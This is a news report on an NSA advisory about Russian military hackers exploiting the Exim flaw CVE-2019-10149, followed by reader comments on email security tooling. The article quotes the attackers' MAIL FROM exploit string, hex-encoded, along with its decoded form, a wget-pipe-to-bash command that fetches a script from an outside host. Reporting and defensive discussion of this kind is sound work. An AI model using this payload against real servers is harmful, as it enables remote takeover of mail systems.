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The NSA has raised the alarm over what it says is Russia's active exploitation of a remote-code execution flaw in Exim for which a patch exists.
The American surveillance super-agency said [PDF] on Thursday the Kremlin's military intelligence hackers are actively targeting some systems vulnerable to CVE-2019-10149, a security hole in the widely used Exim mail transfer agent (MTA) that was fixed last June.
Here's a sample of Moscow's exploit code, according to the NSA, which is sent to a vulnerable server to hijack it – we've censored parts of it to avoid tripping any filters:
MAIL FROM:${run{\x2Fbin\x2Fsh\t- c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20hxxp\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\x20bash\x22}}@hostapp.be That hexadecimal decodes to: /bin/sh -c "exec /usr/bin/wget -O - hxxp://hostapp.be/script1.sh | bash"
"The Russian actors, part of the General Staff Main Intelligence Directorate's (GRU) Main Center for Special Technologies (GTsST), have used this exploit to add privileged users, disable network security settings, execute additional scripts for further network exploitation; pretty much any attacker's dream access – as long as that network is using an unpatched version of Exim MTA," the NSA said.
In this case, miscreants, linked to the military-backed Sandworm operation, exploit improper validation of the recipient's address in Exim's deliver_message() function in /src/deliver.c to inject and execute a shell command, which downloads and runs another script to commandeer the server. An in-depth technical description of the programming blunder can be found here by Qualys, which found and reported the flaw last year.
Because Exim is widely used on millions of Linux and Unix servers for mail, bugs in the MTA are by nature public-facing and pose an attractive target for hackers of all nations.
The NSA did not say who exactly was being targeted, though we can imagine the Russian military takes an interest in probing foreign government agencies and vital industries. GRU hackers have also previously targeted energy utilities, by some reports.
Previously: 400,000 Servers Using Exim May be at Risk of Serious Code-Execution Attacks
(Score: 1) by RandomFactor on Saturday May 30 2020, @03:45PM (7 children)
Although hardly universal, many of the 'at risk' systems will be behind perfectly capable email security layers (Proofpoint, Barracuda, Mimecast, EOP, GSuite etc.) which would have blocked this within hours or days of the original disclosure.
This is going to primarily apply to individuals and smaller organizations without strong IT security policies and guidelines for application development and deployment pertaining to email.
В «Правде» нет известий, в «Известиях» нет правды
(Score: 0) by Anonymous Coward on Saturday May 30 2020, @05:05PM (1 child)
anyone who uses that disgusting list of glorified spyware is a ridiculous suited whore.
(Score: 1) by RandomFactor on Saturday May 30 2020, @06:27PM
Large scale environments do tend to be run by suits. Not saying they have to be, but it is certainly the norm.
And yes, tearing in transit emails apart every conceivable way and analyzing, sandboxing and doing real-time analytics tracking and reporting of attacks is fundamentally not something conducive to perfect privacy, even with contractual obligations and privacy certifications typically in place. I listed some industry leaders in the space (there are many others depending on acceptable capabilities - Intel, Forcepoint, Cisco, Trend, Area 1...)
What to you recommend that better protects privacy and retains capabilities necessary to properly protect large organizations at this layer?
В «Правде» нет известий, в «Известиях» нет правды
(Score: 0) by Anonymous Coward on Saturday May 30 2020, @07:19PM (1 child)
Sits here, watching all the dubious traffic from Russia (and, surprisingly, the Seychelles) getting shitcanned within 2-5 seconds of anyone trying this exploit...not that it matters, as my Exim installs are up to date. And no, it's not a commercial 'security layer'.
I detect the spoor of suitery here, so you might find this story amusing. I once cobbled together a reactive firewall setup which usually detected & blocked dubious traffic based on content or pattern within two seconds, we were approached by a couple of suited wonks who somehow gained knowledge of the setup (I still, to this day, don't know who leaked, I have my suspicions that it was one of the local CERT mob...they'd tried penetrating our little section of the network so many times), to say their faces fell with the realisation that all the code driving this, bar the Perl 'glue' code, that, thanks to my contract, belonged to my employer, was all GPL, so they couldn't buy it off us...(for added fun fact points relevant to the article, this setup used Exim listening on a non-standard port for alert passing between remote sites, dodgy traffic identified at site A?, sites B,C..X got the message and blocked the meddlesome bastards before they got to them)
That was 20 years ago, my current setup is the spiritual descendant of that one (different hardware and OS configuration, and, obviously I don't work where I set that one up, so the code isn't the same), the reason the reaction time is greater than two seconds is down to the fact I'm running it on old hardware, the reason I'm running it on old hardware is that the bloody hardware is more reliable (last uptime before I moved the setup, just over two years.).
I do not work for a larger organisation..as such, I don't have to put up with the BS that goes with working for said larger organisations, I get to spend a lot more of my time actually keeping shit patched and secure without having to sit on my arse waiting for a magically blessed corporate solution to appear...speaking of which, I have another story here about a system-wide virus infection that the paid-for 'email security layer' at one place of employ allowed in through the thus protected email and merrily started infesting everything it could on the shared corporate drives, it had flagged up on my monitoring as, being a sneaky cunt, I had a world read-write samba share on a linux box with a couple of exe and doc files with an alert generated if they were altered, and which IP number (and domain user) altered them, the logs were fun that day, and the next, and the day after...
I warned the domain admin something was going on...one week later, the software finally gets the update which detects the infection, by this time it had managed to infect almost all the machines within the organisation, almost all, that is, excluding the ones I was responsible for.
Pity it had gotten to the finance machines, pity one of the finance team had admin rights...
(Score: 1) by RandomFactor on Saturday May 30 2020, @10:31PM
Yeah, we are talking about entirely different worlds that require very different capabilities to protect.
There is a cocktail of methods that are used for protecting larger organizations with the typical diversity of systems, mailers, clients, users, patch levels, usage cases, & traffic profiles.
For perspective, some of these are:
- Sandboxing incoming files and looking for bad behavior,
- scraping emails for passwords contained within them and using those to decrypt and sandbox,
- scanning links for malicious sites of various sorts (credential phishing, malicious downloads)
- Spoofing, Impersonation and BEC attacks
- Sender reputation tracking
- re-scanning links periodically in case the bad guys change the site to be malicious after delivery
- Tracking emails determined to be malicious post delivery and pulling them from the mailboxes they were delivered to
- - Following any forwarding or replies within the organization and removing those copies as well
- Generating alerts on individuals that threats were delivered to
- Tracking which users actually interacted with threat sites
- Quarantining blocked emails and allowing direct user interaction to (safely) examine and release blocked emails,
- Integration with other tools in the environment
- - allow simulation malicious emails to train users
- - If a link is bad block it at the firewalls/proxy
- - block bad files from execution on workstations
- allow end users to report and individually block spam and malware,
- Scan OUTBOUND email to capture email, alert, and block if an internal user gets popped
- Track and report on trends, attackers, campaigns in use against the organization
And these capabilities need to be updated approaching real time.
В «Правде» нет известий, в «Известиях» нет правды
(Score: 0) by Anonymous Coward on Saturday May 30 2020, @07:34PM (2 children)
But not to those who use sendmail [wikipedia.org] or postfix [wikipedia.org] instead of exim.
(Score: 1) by RandomFactor on Saturday May 30 2020, @08:11PM (1 child)
Ahhh for a business that only used one standard bit of kit globally :-p
В «Правде» нет известий, в «Известиях» нет правды
(Score: 0) by Anonymous Coward on Sunday May 31 2020, @12:12AM
In this case, as long as it's not exim [wikipedia.org], it's all good.